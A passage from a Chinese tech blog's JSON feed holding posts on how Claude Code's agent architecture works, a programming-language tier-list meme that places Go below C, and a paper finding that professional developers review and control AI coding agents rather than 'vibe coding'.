是否已经成为了默认选择？你如何看待 AI Agent 直接操作数据库的未来？\n欢迎在评论区分享你的选型思考或对 FerretDB 事件的看法！让我们一起看清趋势，少走弯路。\n如果这篇文章为你打开了数据库领域的新视野，别忘了点个【赞】和【在看】，并转发给你的架构师朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/08/databases-in-2025-a-year-in-review/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/databases-in-2025-a-year-in-review-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/08/databases-in-2025-a-year-in-review\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/08/databases-in-2025-a-year-in-review\"\u003ehttps://tonybai.com/2026/01/08/databases-in-2025-a-year-in-review\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e数据库领域的“毒舌”，CMU教授 Andy Pavlo 再次发布了他的\u003ca href=\"https://www.cs.cmu.edu/~pavlo/blog/2026/01/2025-databases-retrospective.html\"\u003e年度回顾\u003c/a\u003e（虽然这次是站在 2026 年初的回望）。2025 年对于数据基础设施是疯狂的一年：PostgreSQL 继续确立其霸主地位，引发了巨头间的收购狂潮；AI Agent 通过 MCP 协议正式接管数据库交互；而 Go 社区熟知的 FerretDB 则陷入了与 MongoDB 的法律泥潭。本文将为你深度梳理这份报告背后的技术趋势与行业信号。\u003c/p\u003e","title":"PostgreSQL 吞噬世界，MongoDB 起诉 Go 开源项目：2025 数据库年度盘点"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/08/how-claude-code-works\n大家好，我是Tony Bai。\n在过去两年里，我们见证了 AI Coding Agent的尴尬童年：从最初笨拙的 Copy-Paste，到 Cursor 的 VS Code Fork 革命，再到如今 Claude Code 这种 CLI Coding Agent的出现。\n为什么以前的 Agent 总是卡在“演示很酷，实战很废”的怪圈里？而 Claude Code 究竟做对了什么，让它突然变得如此顺手？\n答案可能出乎意料的枯燥：不是魔法，是更好的模型加上更“傻瓜”的架构。\n这不是一篇 Anthropic 的官方通稿。本文基于 PromptLayer 创始人 Jared Zoneraich 的深度逆向工程与实战分享。我们扒开了 Claude Code 的外衣，试图还原 Coding Agent 从“玩具”进化为“神器”的技术跃迁路径。\n架构哲学：删繁就简 如果你在 2024 年开发过 Agent，你一定画过那种复杂的 DAG（有向无环图）：\n“如果用户想退款，跳到节点 A；如果想查询，跳到节点 B……” 为了防止幻觉，我们设计了无数个分类器（Classifiers）和路由（Routers）。 结果呢？我们得到了一张维护噩梦般的蜘蛛网。\nClaude Code（以及 Gemini Cli、CodeX 等新一代Cli Coding Agent）的架构哲学可以用 Python 之禅概括：Simple is better than complex.\n它们抛弃了复杂的 DAG，拥抱了 Master While Loop。\n我们再用更为详细一些的伪代码来诠释这个master loop：\n# Claude Code 的核心逻辑伪代码 messages = [...] while True: response = model.generate(messages) if not response.tool_calls: break for tool in response.tool_calls: result = execute_tool(tool) messages.append(format_result(result)) 就这么简单。Give it tools, and get out of the way.\n这种架构的自信来源于模型能力的提升。现在的模型（如 Claude 4.5 Sonnet）已经足够聪明，能够自己决定“我需要先 grep 一下代码，发现不对，再 ls 一下目录，最后 edit 文件”。它不需要你预设路径，它需要的是自由探索的空间。\n来自https://arcprize.org/leaderboard(2026.1)\n工具箱揭秘：Bash 即正义 (The Tools) Claude Code 的工具箱极其精简，但每一个都切中要害。Jared 在逆向分析后发现，这套工具集本质上是在模拟一个人类高级工程师在终端里的行为。(注：按照Jared的说法，这些工具箱中的工具可能随Claude Code的版本的变化而不同!)\nBash: The Universal Adapter 如果只保留一个工具，那就是 Bash。\n它能跑脚本、能运行测试、能安装依赖、甚至能重启服务。 它是 Agent 与数字世界交互的通用接口。 最重要的是，LLM 训练数据里有海量的 Bash 语料，模型天生就是 Bash 高手。 Edit: Unified Diff Claude Code 没有选择全量重写文件（Rewrite），而是选择了 Diff。\n省 Token：只输出修改的几行，上下文窗口压力骤减。 速度快：更少的输出意味着更低的延迟。 容错高：就像老师批改作文划红线一样，基于上下文的 Diff 修改比凭空重写整段代码更容易命中，也更容易被人类 Review。 Grep \u0026amp; Glob \u0026gt; RAG 还记得那些为了让 Agent 理解代码库而建立的复杂向量数据库（Vector DB）吗？Claude Code 说：不需要。\n它直接使用 grep 和 glob。这不仅是因为现在的 Context Window 够大，更是因为这符合工程师的直觉。当你接手一个新项目时，你不会先在大脑里建立一个向量索引，你会先 ls 看看目录结构，然后 grep 关键字。模拟人类的行为，往往是最佳策略。\nSub-Agents (Tasks) 当任务太复杂，上下文快爆了怎么办？Claude Code 引入了 Task 工具。\n它可以启动一个子 Agent（Sub-agent），拥有独立的上下文，去执行特定的任务（比如“阅读完所有文档并总结 API 用法”），然后只将最终结果返回给主 Agent。这有效地解决了 Context 污染问题。\n核心心法：相信模型，放弃微操 在传统软件工程中，我们习惯于通过代码控制一切：if 条件 A 发生，执行 B。但在构建 Coding Agent 时，这种“控制欲”往往是最大的敌人。\nJared 分享了一个极具启发性的失败案例：\n为了让 Agent 更好地操作 PromptLayer 的网页后台，他曾试图进行“人工辅助”——给网页上的每个按钮都加上了详细的 Title 和标签，试图告诉 Agent “点击这里会发生什么”。\n结果呢？Agent 的表现反而变差了。\n为什么？因为额外的信息变成了噪音，分散了模型的注意力。模型原本可以通过“观察-尝试-纠错”的循环自己搞定任务，但人类的“硬编码微操”反而限制了模型的泛化能力。\nExploration \u0026gt; Hardcoding Claude Code 的设计哲学是：当你有疑问时，相信模型(rely on the model)。\n不要预设所有边缘情况：以前我们会写一堆正则来解析输出，现在？直接把错误扔回给模型：“你报错了，修好它。” 探索即纠错：模型不仅能写代码，还能读懂报错信息。Claude Code 之所以强大，不是因为它一次就能写对，而是因为它在 Master Loop 中具备了**自我修复（Self-Correction）**的能力。 工程师的直觉是“把路铺好”，但 AI 时代的直觉应该是“给它地图，让它自己走”。\n那些“不起眼”但天才的细节 Constitution: CLAUDE.md 不需要复杂的微调，也不需要向量库。Claude Code 依靠项目根目录下的 CLAUDE.md 来理解项目规范。\n这本质上是 Prompt Engineering 的胜利。它让配置变得透明、可读、可由用户（甚至 Agent 自己）随时修改。\nSystem Prompt 解密：像老板一样下指令 Jared 分享了基于泄露信息的 Claude Code System Prompt 核心原则，这些原则非常值得我们借鉴：\nConcise Output（极简输出）：除非用户要求细节，否则输出不要超过 4 行。 No “Here is…”（拒绝废话）：不要说“好的，这是您的代码…”，直接给代码。Just do it. Action over Text（行动至上）：能用工具（Tool）解决的，别用文字解释。 Style Match（风格一致）：严格匹配项目现有的代码风格。 No Comments（拒绝注释）：除非用户要求，否则不要画蛇添足地加注释。 Parallelism（并行执行）：鼓励并行运行命令，大规模搜索，并使用 TodoWrite 跟踪进度。 这些指令的目的只有一个：让 Agent 看起来更像一个干练的 Senior Engineer，而不是一个啰嗦的 Chatbot。\nSkills: 可扩展的 “System Prompt” 随着任务变复杂，System Prompt 会越来越长，甚至超过 Context 限制。Claude Code 引入了 Skills 机制。\n你可以把它理解为按需加载的“技能包”。Agent 会根据当前任务，决定是否加载额外的上下文或能力。\n典型应用场景：\nDocumentation Updates：加载特定的文档写作风格指南。 Design Style Guide：在写前端代码时，加载 UI 设计规范。 Deep Research：加载深度搜索和总结的能力。 DOCX/Excel Processing：甚至可以加载处理办公文档的技能（Jared 提到这是很多人没想到的用法）。 To-Do Lists: 提示词驱动的结构化 当你让 Claude Code 干活时，它往往会先列一个 To-Do List(是不是又和人类干活的方式类似呢)。\n有趣的是，这不是代码里写死的逻辑，而是 System Prompt 诱导出来的行为。\n它给用户一种“确定性”的心理安全感。 它支持断点续传：即使程序 Crash 了，重新把 To-Do List 喂给模型，它也能知道下一步该干嘛。 Thinking Knobs Think, Think Hard, Ultra Think。\n这不仅仅是噱头，这是把 Inference-Time Compute（推理时计算） 变成了一个可调节的参数。对于复杂的重构，你可以让它“多想一会儿”；对于简单的 Bug fix，直接干就是了。\n市场格局：没有全局最优解 在 Coding Agent 的战场上，没有唯一的王者，只有不同的流派（The “AI Therapist” Problem）。\nClaude Code：CLI 极简主义。简单、直观，适合不想离开终端的开发者。 Cursor：UI 速度流，极致的响应速度。它利用用户数据飞轮，让体验越来越丝滑。 OpenAI CodeX：内核硬核派(rust实现)。更关注底层的沙箱安全（Kernel-level Sandboxing），适合企业级、高安全要求的场景。 Sourcegraph Amp：Web 协作流。主打 Handoff（接力） 机制，在一个 Agent 搞不定时，无缝切换到另一个 Context 或模型(无需用户选择)，像接力赛一样解决问题。 核心启示：Claude Code 教给我们的 5 条构建法则 在演讲的最后，Jared 总结了 Claude Code 成功的 5 个核心要素。对于任何想要构建 Agent 或由 AI 驱动的应用的开发者来说，这 5 条法则就是当下的“金科玉律”。\nTrust in the model (相信模型) 不要试图用传统的代码逻辑去“微操”模型。\n反直觉：工程师总想把所有路都铺好（比如给网页按钮加详细标签）。 新常识：模型的泛化能力和纠错能力远超你的硬编码规则。当遇到不确定性时，给它目标，让它自己去探索，而不是给它僵化的步骤。 Simple design wins (简单致胜) 架构越简单越好。\n拒绝复杂：不要搞几百个节点的 DAG（有向无环图），不要搞复杂的路由网络。 拥抱简单：一个死循环（While Loop）加上强大的模型，往往能击败精心设计的复杂架构。正如 Python 之禅所说：“Simple is better than complex.” Bash is all you need (Bash 足矣) 在工具选择上，不要重新发明轮子。\n通用接口：Bash 是在这个星球上运行代码最通用的接口，也是 LLM 训练数据中最丰富的语料之一。 少即是多：与其开发 50 个专用的 Tool（比如 create_file, delete_file, git_commit…），不如只给它一个 bash 工具。模型知道怎么用 touch, rm, git。 Context management matters (上下文管理是关键) 这是目前 Agent 最大的隐形杀手（The Boogeyman）。\n瓶颈：无论模型多聪明，上下文窗口一旦被垃圾信息填满，智商就会直线下降。 策略：必须把“上下文清洗”作为架构的一等公民。利用 Summarization（摘要）、Handoff（接力）或 Sub-agents（子智能体）机制，时刻保持主线程的清爽。 Different perspectives for different problems (不同问题，不同视角) 没有“万能药”。Coding Agent 领域不存在全局最优解（Global Maxima）。\nClaude Code：赢在 CLI 交互和复杂的 Git/环境管理，适合“不想离开终端”的场景。 Cursor：赢在 UI 速度和代码补全，适合“快速编写”的场景。 CodeX：赢在底层沙箱安全。 结论：不要试图寻找一个能打败所有人的 Agent，而是要构建最适合特定场景（User Persona）的 Agent。 小结 Claude Code 的出现，标志着 Coding Agent 进入了**“实用主义”**时代。它不再是炫技的玩具，而是通过做减法（Less RAG, Less DAG, Less Guardrails），回归了软件工程的本质。\n未来，我们或许不再直接调用 LLM 的 API，而是直接调用一个 Headless 的 run_agent() SDK，让它在后台默默地帮我们修 Bug、写文档、提 PR。\n最好的工具，就是当你感觉不到它存在的时候。\n资料来源：Jared Zoneraich “How Claude Code Works” – https://www.youtube.com/watch?v=RFKCzGlAU6Q\n你的 Agent 构建心得\nClaude Code 的“极简架构”给我们上了一课。你在尝试构建 AI Agent 时，是否也曾陷入过“过度设计”的陷阱？对于“Bash is all you need”这个观点，你认同吗？\n欢迎在评论区分享你的踩坑经历或架构思考！ 让我们一起探索 Agent 开发的最佳路径。\n如果这篇文章为你揭开了 Claude Code 的神秘面纱，别忘了点个【赞】和【在看】，并转发给你的架构师朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/08/how-claude-code-works/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/how-claude-code-works-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/08/how-claude-code-works\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/08/how-claude-code-works\"\u003ehttps://tonybai.com/2026/01/08/how-claude-code-works\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去两年里，我们见证了 AI Coding Agent的尴尬童年：从最初笨拙的 Copy-Paste，到 Cursor 的 VS Code Fork 革命，再到如今 Claude Code 这种 CLI Coding Agent的出现。\u003c/p\u003e","title":"拆解 Claude Code：Coding Agent 终于“能用”背后的架构真相"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/07/go-language-comfort-zone-in-contempt-chain-pyramid\n大家好，我是Tony Bai。\n最近，一张“编程语言分级图”在技术社区引发大家热议。它没有参考 TIOBE 排名，也不看 GitHub Star 数，而是完全基于一种简单粗暴的价值观：谁最不折腾人？\n在这张金字塔中，C 语言高居神坛（The one and only），而 Java、Python、C++ 被踩在最底层的“憎恶（Abomination）”泥潭里。甚至连备受推崇的 Rust，也被归入了“彻底失败（Total failure）”。\n** Go 语言则稳稳地站在了 T1 梯队——“No nonsense（拒绝废话）”。**\n这张图看似偏激，却也道出了一些资深开发者的心声。它揭示了 Go 语言最大的魅力：在混沌的软件工程世界里，Go 为我们圈出了一块难得的**“舒适区”**。\n鄙视链解构：极简主义者的“神曲” 这张图从上到下，宛如但丁的《神曲》，描绘了从天堂到地狱的编程世界观。meme图的作者显然是一位厌恶抽象、崇尚掌控机器、鄙视过度设计的硬核程序员。让我们逐层拆解：\n塔尖：The one and only（唯一的真神） * **C**。 * C 是编程界的拉丁语。它直接映射硬件，没有隐藏的运行时，没有 GC。它是操作系统和驱动的基石，是所有软件的“第一推动力”。在极简主义眼中，只有 C 是纯粹的。 T1 梯队：No nonsense（拒绝废话 / 实干家） * **Go**、**OCaml**（骆驼）、**Lua**、**ASM**（芯片/汇编）、**Erlang**（红色e）。 * 这一层是“干活”的语言。它们专注解决问题、务实、没有过度设计。 * **Go**：带 GC 的 C，工业界的实干家。 * **Lua \u0026amp; ASM**：极致的小巧与极致的控制。 * **OCaml \u0026amp; Erlang**：虽然是函数式或特定领域，但以实用和高可靠性著称，不搞虚头巴脑的学术概念。 T2 梯队：Meme languages（网红/小众神教） * **Odin**、**Jai**（绿色文字）、**HolyC**（黄色十字六边形）、**Elixir**（紫色水滴）、[**HTMX**](https://tonybai.com/2024/09/20/htmx-gopher-perfect-partner-for-full-stack)（激光眼马）。 * 我敢保证这一层的很多语言你都没有听过，我也是查了很久才对号入座，这也说明原meme图的作者在编程语言方面涉猎甚广。这一层的语言通常具有“网红”属性，或者带有强烈的“亚文化/宗教”色彩。它们在特定圈子（如独立游戏开发、TempleOS 粉丝）中声量巨大，但在主流工业界存在感稀薄。 * **Odin \u0026amp; Jai**：这两者常被绑定提及，代表了“Handmade”社区（手工造轮子）的价值观。它们试图取代 C++ 用于游戏开发，强调面向数据设计（DOD）。Odin 虽好但小众，Jai 则因长期未公开发布而被调侃为“幻之语言”。 * **HolyC**：这是“上帝的程序员”Terry Davis 为 TempleOS 创造的语言，在技术宅圈子中是神一般的存在（Meme 之神），但几乎没有实际生产用途。 * **Elixir \u0026amp; HTMX**：前者是 Erlang VM 上的“时髦文青”，后者是最近在推特上掀起“回归 HTML”运动的网红库。 T3 梯队：Necessary evil（必要之恶） * **JS**、**CSS**、**Bash**、**Swift**、**TeX**、**SQL**。 * 你很讨厌它们，但你离不开它们。因为它们垄断了特定领域（浏览器、终端、苹果生态、论文排版、数据库）。你用它们不是因为爱，而是因为别无选择。 T4 梯队：Total failure（彻底失败 / 认知灾难） * **Haskell**、**Rust**（齿轮）、**Zig**（橙色Z）、**Scala**、**Racket**、**Kotlin**。 * 这是最引战的一层。这里的“失败”指的不是技术失败，而是**“在追求简单的道路上失败了”**。 * **Rust**：为了内存安全或零开销抽象，引入了极其复杂的心智负担（生命周期、编译期计算）。作者认为让程序员当编译器的奴隶是一种失败。 * **Zig**：虽然标榜是 C 的继承者，但它要求显式管理所有资源（到处传递 Allocator），且引入了强大的 comptime 元编程。在作者看来，这并没有真正降低 C 的心智负担，反而换了一种方式折腾大脑，且至今仍未发布正式版（1.0）。 * **Haskell \u0026amp; Scala**：学术概念堆砌，Monad 满天飞，导致代码难以阅读和维护。 底层：Abomination（憎恶 / 不可名状之物） * **C++**、**C#**、**Java**、**PHP**、**TS**、**Python**、**Ruby**。 * 地狱最底层。它们犯了**“过度设计”、“臃肿”、“慢”**的原罪。 * **C++**：特性大杂烩，学习曲线陡峭。 * **Java/C#**：企业级官僚主义，层层叠叠的抽象工厂。 * **Python/Ruby/PHP**：解释执行慢，动态类型在大型工程中是维护灾难。 神坛之下的第一人：Go 是“带了安全带的 C” 在这张图中，C 是唯一的“神”。为什么？因为 C 诚实。它与机器直接对话，没有中间商赚差价。但 C 也是危险的，内存泄漏和野指针是每个 C 程序员的噩梦。\nGo 为什么紧随其后？\n因为 Go 完美地继承了 C 的“诚实”，同时补上了“安全”的短板。\n在“No nonsense”这一层，Go 与 Lua（极简脚本）、ASM（汇编）并列。这说明在作者眼中，Go 的本质不是“简化的 Java”，而是“现代化的 C”。\n舒适在“透明”：看到一行 Go 代码，你基本能准确预估它的运行代价。没有隐式类型转换，没有构造函数里的黑魔法。代码写成什么样，逻辑就怎么跑。 舒适在“克制”：Go 只有 25 个关键字。它拒绝了许多“看起来很酷”的特性（如三元运算符、复杂的元编程），只为了让你在读代码时，不需要在大脑里运行一个复杂的解析器。 Go 处于这个位置，是因为它保留了 C 的掌控感，同时剔除了 C 的恐惧感（内存泄漏、野指针）。\n下层的窒息感：为何 Java 和 C++ 是“憎恶”？ 再往下看，最底层的“Abomination”包含了 C++、Java、Python 等工业界巨头。这并非说它们不能干活，而是说用它们干活**“很不舒服”**。\n在这个“极简主义”的评价体系里，这些语言代表了**“过度设计”**的极端：\nC++ 的认知负担：你想写个 Hello World，却迷失在模板元编程、右值引用和 20 种初始化方式的迷宫里。 Java 的官僚主义：AbstractSingletonProxyFactoryBean……你写的不是代码，是填空题。层层叠叠的抽象，让代码与其运行的硬件彻底失联。 Go 的舒适区，建立在对这种“复杂性”的拒绝之上。 在 Go 里，你不需要画 UML 图，不需要背诵设计模式，你只需要关注：数据怎么流，逻辑怎么走。\n侧面的焦虑感：为何 Rust 是“彻底失败”？ 这是最引发争议的一点。Rust 被归为“Total failure”。这显然不是指 Rust 的技术失败，而是指它违背了“No nonsense”的初衷。\nRust 为了追求内存安全和零成本抽象，引入了极高的认知成本（生命周期、借用检查）。这导致写 Rust 代码时，开发者往往在与编译器搏斗，而不是在解决业务问题。\nGo 的舒适，是一种“妥协的艺术”。\nGo 承认：与其让人脑去计算每一个变量的生命周期（Rust 的做法），不如让 CPU 多跑几毫秒来做 GC（Go 的做法）。\n在这个算力过剩而人脑算力稀缺的时代，Go 选择了让人舒服，而不是让机器舒服。\n小结：拒绝废话，回归本质 这张图之所以能引起共鸣，是因为它精准地击中了现代软件工程的痛点：我们花了太多时间在对付语言特性、框架和工具链，却忘了我们最初只是想写程序解决问题。\nGo 语言处于 No nonsense 这一层，恰恰证明了它的核心价值：\n它不追求“纯粹”的完美（像 Haskell），也不追求“极致”的性能（像 Rust），更不追求“大而全”的框架（像 Java）。\nGo 只是想让你舒服地、直白地、没有废话地，把代码写出来，然后按时下班。\n在当今这个充满焦虑的技术世界里，这难道不是最顶级的“舒适区”吗？^_^\n你的“鄙视链”排位\n这张图虽然偏激，但确实代表了一些人心中的极简主义的审美。在你心中的编程语言金字塔里，谁是那个“唯一的真神”？谁又是让你痛苦不堪的“不可名状之物”？你认同把 Rust 放在“彻底失败”这一层吗？\n欢迎在评论区晒出你的“私房排位表”，或者为你的本命语言辩护！ (请文明交流，勿伤和气~ )\n如果这篇文章戳中了你的笑点或痛点，别忘了点个【赞】和【在看】，看看你的朋友圈里有多少“极简主义者”！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/07/go-language-comfort-zone-in-contempt-chain-pyramid/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-language-comfort-zone-in-contempt-chain-pyramid-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/07/go-language-comfort-zone-in-contempt-chain-pyramid\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/01/07/go-language-comfort-zone-in-contempt-chain-pyramid\"\u003ehttps://tonybai.com/2026/01/07/go-language-comfort-zone-in-contempt-chain-pyramid\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，一张“编程语言分级图”在技术社区引发大家热议。它没有参考 TIOBE 排名，也不看 GitHub Star 数，而是完全基于一种简单粗暴的价值观：\u003cstrong\u003e谁最不折腾人？\u003c/strong\u003e\u003c/p\u003e","title":"Go 语言的“舒适区”：为何在这张“鄙视链”金字塔中，Go 仅次于 C？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/01/07/stop-vibe-coding-professional-developers-master-coding-agent-2025\n大家好，我是Tony Bai。\n在社交媒体上，我们经常看到这样的神话：“我用 AI Agent，只凭感觉（Vibe）就写出了整个应用，甚至不需要看代码。” 这种被称为“Vibe Coding”的现象真的代表了专业开发的未来吗？\n近日，来自 UCSD 和康奈尔大学的研究团队发表了一篇题为《Professional Software Developers Don’t Vibe, They Control: AI Agent Use for Coding in 2025》的论文。通过对 13 位资深开发者的实地观察和 99 份详细调查，他们揭示了一个截然不同的真相：专业开发者并不“Vibe”，他们严密“控制”。\n控制权是核心 研究发现，经验丰富的开发者（平均 12.8 年经验）虽然高度认可 AI Agent（如 Cursor, Claude Code, GitHub Copilot）带来的生产力提升，但他们拒绝交出方向盘。\n与“Vibe Coding”所倡导的“完全信任 AI、不看代码、只管运行”不同，专业开发者采取了一种战略性的控制（Strategic Control）模式：\n规划先行：在写第一行代码前，他们会要求 AI 生成详细的实施计划，甚至 Markdown 格式的任务清单。 分步执行：他们不会让 AI 一次性完成所有工作，而是将其拆解为一个个小任务（平均每个 prompt 仅包含 2.1 个步骤），步步为营。 严格审查：69% 的受访者表示会逐行审查 AI 生成的代码，因为他们深知“作为软件工程师，我不能把责任外包给 AI”。 AI Agent最擅长（和最不擅长）什么？ 论文通过大量数据，梳理出了 AI Agent在当前技术水平下的“能力边界”。这对于我们日常决定“何时使用 AI”极具参考价值。\n✅ 舒适区：AI Agent的拿手好戏 这些任务被认为是高收益、低风险的：\n样板代码与脚手架：生成重复性代码、配置文件、初始项目结构。 编写测试：为现有代码生成单元测试（这甚至改变了一些开发者的习惯，让他们更愿意做 TDD）。 解释与文档：解释复杂的代码逻辑、错误堆栈，或撰写文档。 简单重构与调试：重命名变量、提取函数、修复简单的逻辑错误。 原型开发：快速构建一次性的演示原型。 ❌ 禁区：AI Agent的“滑铁卢” 对于以下任务，开发者普遍表示 AI “不胜任”或“风险过高”：\n核心业务逻辑：涉及复杂领域知识、特定业务规则的代码。\n复杂重构：跨越多个文件、涉及架构调整的大规模重构。\n系统设计与决策：没有人愿意将技术选型或架构决策交给 AI，虽然可以用它来头脑风暴，但决策权始终在人。\n安全关键代码：涉及支付、鉴权等高风险模块。\n“一步到位”的完美代码：AI 几乎从未在第一次尝试中就生成完美无缺的代码，必须经过多轮迭代。\n最佳实践：像工程师一样 Prompt 研究中最有趣的部分是观察资深开发者如何写 Prompt。他们不是在“聊天”，而是在**“编程”** AI。\n高效 Prompt 的特征：\n极度详尽的上下文：不仅仅是需求，还包括 UI 元素名称、技术术语、领域对象、相关文件引用、特定库的版本等。 利用“伪代码”思维：一位开发者表示：“我将软件工程的经验应用到 Prompt 中……我提供规格说明、经济模型、具体的成功标准。这不仅是 Prompt 工程，这是良好的沟通。” 维护上下文文件：一些开发者会维护一个 CLAUDE.md 或 TASKS.md 文件，专门用来存储项目规范、代码风格指南和当前任务状态，让 AI 始终“在线”。 论文中的一段详尽的Prompt样例\n小结：AI 是副驾驶，你是机长 这篇论文给 2025 年乃至如今的开发者们吃了一颗定心丸：AI 不会取代你，但会“增强”你——前提是你懂得如何控制它。\n真正的专业人士不会沉迷于“Vibe Coding”的虚幻快感。相反，他们利用深厚的软件工程积淀（测试、版本控制、代码审查能力）来驾驭 AI，将其变成一个不知疲倦的结对编程伙伴。正如一位受访者所言：\n“我觉得 AI Agent棒极了，只要你坐在驾驶位上，并且时刻检查它的工作。一旦你不强制它遵守那些确立已久的工程原则，它就会变成灾难。”\n论文链接：https://arxiv.org/abs/2512.14012\n你的 AI 协作模式是？\n读完这篇论文解读，我不禁想问大家：在你日常的开发中，你是更倾向于“Vibe Coding”（跟着感觉走），还是像文中提到的资深开发者那样，时刻保持着“战略性控制”？\n欢迎在评论区分享你的 AI 协作心得或踩坑经历！ 让我们一起探索人机协作的最佳边界。\n如果这篇文章让你对 AI 编程有了更清醒的认识，别忘了点个【赞】和【在看】，并分享给你的团队！\n升级你的AI开发工作流\n文中提到的“伪代码思维”、“维护 CLAUDE.md 上下文文件”、“分步拆解任务”，正是规范驱动开发 (SDD) 的核心思想。如果你不想止步于简单的对话，而是渴望掌握一套成体系的、工程化的 AI Agent 协作方法论，让 AI 真正成为你可控的“超级副驾驶”…\n那么，我的专栏 《AI原生开发工作流实战》 就是为你量身打造的！\n在这个专栏里，我们将深入实战：\n如何编写 AI 秒懂的 Spec 文档。 如何构建 CLAUDE.md 等上下文管理系统。 如何用 Claude Code 等工具实现自动化的 TDD 和重构。 扫描下方二维码，拒绝“Vibe”，拥抱“Control”，开启你的 AI 原生工程开发之旅！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/01/07/stop-vibe-coding-professional-developers-master-coding-agent-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/stop-vibe-coding-professional-developers-master-coding-agent-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/01/07/stop-vibe-coding-professional-developers-master-coding-agent-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca 